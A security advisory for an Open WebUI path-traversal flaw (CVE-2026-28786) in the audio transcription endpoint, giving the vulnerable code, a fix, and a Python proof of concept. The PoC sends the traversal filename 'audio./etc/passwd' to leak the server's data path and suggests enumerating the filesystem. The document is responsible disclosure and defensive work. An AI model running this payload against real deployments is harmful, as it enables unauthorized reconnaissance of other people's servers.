GitHub Advisoryadvisory · PyPI
GHSA-vvxm-vxmr-624h Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`
MEDIUM
Official page ↗
- Aliases
- CVE-2026-28786
- Ecosystem
- PyPI
- Packages
- open-webui
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-209, CWE-22
- Reviewed
- 2026-03-27
Affected packages
• PyPI open-webui: < 0.8.6 → fixed in 0.8.6
Description
Summary
An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message — including the server's absolute `DATA_DIR` path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.
Details
`backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(".")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`:
```python
ext = file.filename.split(".")[-1] # attacker-controlled, no sanitisation
filename = f"{id}.{ext}" # may contain "/"
file_path = f"{file_dir}/{filename}"
with open(file_path, "wb") as f:
f.write(contents)
```
If the filename is `audio./etc/passwd`, `split(".")[-1]` yields `/etc/passwd` and the assembled path becomes:
```
{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd
```
`open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body.
The MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value.
This handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly:
```python
files.py:244
filename = os.path.basename(file.filename)
pipelines.py:206
filename = os.path.basename(file.filename)
```
Recommended fix — match the existing pattern and suppress path leakage in errors:
```python
audio.py:1197 — sanitise extension
from pathlib import Path
safe_name = Path(file.filename).name
ext = Path(safe_name).suffix.lstrip(".") or "bin"
audio.py:1231 — suppress internal path in error response
except Exception as e:
log.exception(e)
raise HTTPException(status_code=400, detail="Transcription failed.")
```
---
PoC
Requirements: a running Open WebUI instance and one standard (non-admin) user account.
```bash
docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest
wait ~30 s, register a standard user at http://localhost:3000
pip install requests
```
```python
import requests, sys
BASE_URL = "http://localhost:3000"
EMAIL = "[email protected]"
PASSWORD = "changeme"
token = requests.post(f"{BASE_URL}/api/v1/auths/signin",
json={"email": EMAIL, "password": PASSWORD},
timeout=10).json()["token"]
boundary = "----Boundary"
wav_stub = b"RIFF\x00\x00\x00\x00WAVE"
body = (
f'--{boundary}\r\nContent-Disposition: form-data; name="file"; '
f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n'
).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode()
resp = requests.post(
f"{BASE_URL}/api/v1/audio/transcriptions",
data=body,
headers={"Authorization": f"Bearer {token}",
"Content-Type": f"multipart/form-data; boundary={boundary}"},
timeout=15,
)
print(resp.status_code, resp.text)
```
Observed output (live test, commit `b8112d72b`):
```
400 {"detail":"[ERROR: [Errno 2] No such file or directory:
'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}
```
The absolute `DATA_DIR` path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.
Note on the write primitive: the traversal path includes a fresh UUID segment (`{uuid}.`) that never pre-exists as a directory, so `open()` is OS-blocked in all practical scenarios. The impact is information disclosure only.
---
Impact
Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute `DATA_DIR` filesystem path. The route is gated by `get_verified_user` — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.
> AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit `b8112d72b`. All code references were verified by the reporter, who accepts full responsibility for accuracy.
Related
Alias · CVE (1)
- CVE-2026-28786 Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. vulnerability